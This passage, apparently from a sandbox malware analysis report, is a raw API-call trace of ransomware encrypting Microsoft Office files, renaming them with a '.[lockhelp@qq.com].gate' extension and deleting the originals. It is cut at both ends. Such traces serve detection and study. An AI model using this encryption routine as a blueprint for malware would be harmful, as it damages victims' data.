nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0318.984] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.984] WriteFile (in: hFile=0x378, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x13e, lpOverlapped=0x0) returned 1 [0318.985] SetEndOfFile (hFile=0x378) returned 1 [0318.985] CloseHandle (hObject=0x378) returned 1 [0318.985] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.985] SetEndOfFile (hFile=0x374) returned 1 [0318.985] CloseHandle (hObject=0x374) returned 1 [0318.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0318.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.986] lstrlenW (lpString=".doc") returned 4 [0318.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.986] lstrlenW (lpString=".docx") returned 5 [0318.986] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0318.986] lstrlenW (lpString=".pdf") returned 4 [0318.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.986] lstrlenW (lpString=".xls") returned 4 [0318.986] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.986] lstrlenW (lpString=".xlsx") returned 5 [0318.986] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0318.986] lstrlenW (lpString=".ppt") returned 4 [0318.986] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.986] lstrlenW (lpString=".zip") returned 4 [0318.986] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.986] lstrlenW (lpString=".rar") returned 4 [0318.987] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString=".bz2") returned 4 [0318.987] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString=".7z") returned 3 [0318.987] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.987] lstrlenW (lpString=".dbf") returned 4 [0318.987] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.987] lstrlenW (lpString=".1cd") returned 4 [0318.987] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.987] lstrlenW (lpString=".jpg") returned 4 [0318.987] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.987] lstrlenW (lpString=".doc") returned 4 [0318.987] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString=".docx") returned 5 [0318.987] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0318.987] lstrlenW (lpString=".pdf") returned 4 [0318.987] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString=".xls") returned 4 [0318.987] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString=".xlsx") returned 5 [0318.987] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0318.987] lstrlenW (lpString=".ppt") returned 4 [0318.987] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.987] lstrlenW (lpString=".zip") returned 4 [0318.987] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.987] lstrlenW (lpString=".rar") returned 4 [0318.988] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.988] lstrlenW (lpString=".bz2") returned 4 [0318.988] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.988] lstrlenW (lpString=".7z") returned 3 [0318.988] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.988] lstrlenW (lpString=".dbf") returned 4 [0318.988] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.988] lstrlenW (lpString=".1cd") returned 4 [0318.988] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0318.988] lstrlenW (lpString=".jpg") returned 4 [0318.988] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.988] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0318.988] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0318.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0318.988] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3375) returned 1 [0318.988] CloseHandle (hObject=0x374) returned 1 [0318.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0318.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0318.989] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.989] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0318.989] GetLastError () returned 0x0 [0318.989] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0318.990] WriteFile (in: hFile=0x378, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xd30, lpOverlapped=0x0) returned 1 [0318.991] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0318.991] WriteFile (in: hFile=0x378, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x13e, lpOverlapped=0x0) returned 1 [0318.991] SetEndOfFile (hFile=0x378) returned 1 [0318.991] CloseHandle (hObject=0x378) returned 1 [0318.991] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.991] SetEndOfFile (hFile=0x374) returned 1 [0318.992] CloseHandle (hObject=0x374) returned 1 [0318.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0318.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.992] lstrlenW (lpString=".doc") returned 4 [0318.992] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.992] lstrlenW (lpString=".docx") returned 5 [0318.992] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0318.992] lstrlenW (lpString=".pdf") returned 4 [0318.992] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString=".xls") returned 4 [0318.993] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString=".xlsx") returned 5 [0318.993] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0318.993] lstrlenW (lpString=".ppt") returned 4 [0318.993] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.993] lstrlenW (lpString=".zip") returned 4 [0318.993] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.993] lstrlenW (lpString=".rar") returned 4 [0318.993] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString=".bz2") returned 4 [0318.993] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString=".7z") returned 3 [0318.993] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.993] lstrlenW (lpString=".dbf") returned 4 [0318.993] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.993] lstrlenW (lpString=".1cd") returned 4 [0318.993] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.993] lstrlenW (lpString=".jpg") returned 4 [0318.993] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.993] lstrlenW (lpString=".doc") returned 4 [0318.993] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString=".docx") returned 5 [0318.993] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0318.993] lstrlenW (lpString=".pdf") returned 4 [0318.993] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.993] lstrlenW (lpString=".xls") returned 4 [0318.994] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.994] lstrlenW (lpString=".xlsx") returned 5 [0318.994] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0318.994] lstrlenW (lpString=".ppt") returned 4 [0318.994] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.994] lstrlenW (lpString=".zip") returned 4 [0318.994] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.994] lstrlenW (lpString=".rar") returned 4 [0318.994] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.994] lstrlenW (lpString=".bz2") returned 4 [0318.994] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.994] lstrlenW (lpString=".7z") returned 3 [0318.994] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.994] lstrlenW (lpString=".dbf") returned 4 [0318.994] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.994] lstrlenW (lpString=".1cd") returned 4 [0318.994] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0318.994] lstrlenW (lpString=".jpg") returned 4 [0318.994] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.994] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0318.994] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0318.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0318.995] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2173046) returned 1 [0318.995] CloseHandle (hObject=0x374) returned 1 [0318.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0318.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0318.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0318.996] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0x0) returned 1 [0318.996] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0318.996] ReadFile (in: hFile=0x374, lpBuffer=0x3b27058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b27058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.063] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0319.063] ReadFile (in: hFile=0x374, lpBuffer=0x3b67058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b67058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.124] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0319.124] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0319.124] ReadFile (in: hFile=0x374, lpBuffer=0x3ba7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ba7058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.359] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.359] WriteFile (in: hFile=0x374, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x300fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0319.477] SetEndOfFile (hFile=0x374) returned 1 [0319.478] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x44a50d8 [0319.481] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0319.481] WriteFile (in: hFile=0x374, lpBuffer=0x44a50d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x44a50d8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0319.483] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0319.483] WriteFile (in: hFile=0x374, lpBuffer=0x44a50d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x44a50d8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0319.485] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0319.485] WriteFile (in: hFile=0x374, lpBuffer=0x44a50d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x44a50d8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0319.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44a50d8 | out: hHeap=0x490000) returned 1 [0319.490] CloseHandle (hObject=0x374) returned 1 [0319.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.491] lstrlenW (lpString=".doc") returned 4 [0319.491] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.491] lstrlenW (lpString=".docx") returned 5 [0319.491] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0319.491] lstrlenW (lpString=".pdf") returned 4 [0319.491] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.491] lstrlenW (lpString=".xls") returned 4 [0319.491] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.491] lstrlenW (lpString=".xlsx") returned 5 [0319.491] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0319.491] lstrlenW (lpString=".ppt") returned 4 [0319.491] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.491] lstrlenW (lpString=".zip") returned 4 [0319.491] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.491] lstrlenW (lpString=".rar") returned 4 [0319.491] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.491] lstrlenW (lpString=".bz2") returned 4 [0319.491] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.491] lstrlenW (lpString=".7z") returned 3 [0319.491] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.491] lstrlenW (lpString=".dbf") returned 4 [0319.491] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.492] lstrlenW (lpString=".1cd") returned 4 [0319.492] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.492] lstrlenW (lpString=".jpg") returned 4 [0319.492] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.492] lstrlenW (lpString=".doc") returned 4 [0319.492] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString=".docx") returned 5 [0319.492] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0319.492] lstrlenW (lpString=".pdf") returned 4 [0319.492] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString=".xls") returned 4 [0319.492] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString=".xlsx") returned 5 [0319.492] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0319.492] lstrlenW (lpString=".ppt") returned 4 [0319.492] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.492] lstrlenW (lpString=".zip") returned 4 [0319.492] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.492] lstrlenW (lpString=".rar") returned 4 [0319.492] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.492] lstrlenW (lpString=".bz2") returned 4 [0319.493] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.493] lstrlenW (lpString=".7z") returned 3 [0319.493] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.493] lstrlenW (lpString=".dbf") returned 4 [0319.493] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.493] lstrlenW (lpString=".1cd") returned 4 [0319.493] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0319.493] lstrlenW (lpString=".jpg") returned 4 [0319.493] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.493] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.493] lstrlenW (lpString="AG00090_.GIF") returned 12 [0319.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0319.494] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=517) returned 1 [0319.494] CloseHandle (hObject=0x374) returned 1 [0319.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0319.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 